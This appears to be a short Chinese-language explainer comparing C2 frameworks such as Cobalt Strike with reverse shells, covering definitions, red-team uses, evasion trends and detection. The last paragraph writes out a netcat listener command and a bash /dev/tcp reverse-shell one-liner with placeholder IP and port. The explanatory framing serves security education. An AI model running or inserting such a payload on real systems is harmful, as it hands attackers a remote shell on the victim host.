C2vsReverse Shell

C2

C2 是攻击者与被入侵主机之间的通信通道，用于下发指令、窃取数据和维持持久化访问。Cobalt Strike 是最知名的 C2 框架，被红队和真实攻击者广泛使用。

Reverse Shell

Reverse Shell 让被攻击的主机主动向攻击者发起连接，绕过防火墙的入站限制。攻击者在自己机器上监听端口，目标执行 payload 后反连回来，获得命令行控制。

C2

• C2 通信常伪装成正常 HTTP/DNS 流量
• Cobalt Strike 是最流行的商业 C2 框架
• 检测 C2 通信是防御方的核心任务

Reverse Shell

• 目标主动连接攻击者，绕过入站防火墙
• 渗透测试获取交互式控制的标准方法
• Bash/Python/PowerShell 都能创建反向 Shell

C2

攻击者用于远程控制被入侵主机、下发指令和回传数据的通信基础设施

Reverse Shell

让目标主机主动向攻击者发起连接的反向命令行控制技术

C2

• 红队演练的攻击基础设施
• 恶意软件分析中的通信追踪
• 网络威胁检测和响应

Reverse Shell

• 渗透测试中获取交互式控制
• RCE 漏洞利用后的权限维持
• 绕过入站防火墙限制

C2

C2 基础设施是高级攻击的核心组件，攻击者通过它远程控制被植入后门的主机（Bot）。现代 C2 框架支持多种通信协议（HTTP、DNS、SMB）和加密方式来规避检测。防御方需要通过网络流量分析、行为检测和威胁情报来识别 C2 通信。C2 的演进趋势包括：使用合法云服务作为中转、域前置（Domain Fronting）隐藏真实 C2 地址、以及去中心化 C2 架构。

Reverse Shell

Reverse Shell 的原理：攻击者在公网 IP 上监听端口（如 nc -lvp 4444），目标主机执行 payload 后主动连接该端口，将 stdin/stdout 重定向到网络连接。常见 payload：bash -i >& /dev/tcp/IP/PORT 0>&1、Python socket 反连、PowerShell 反连。防御需要监控异常出站连接和进程行为。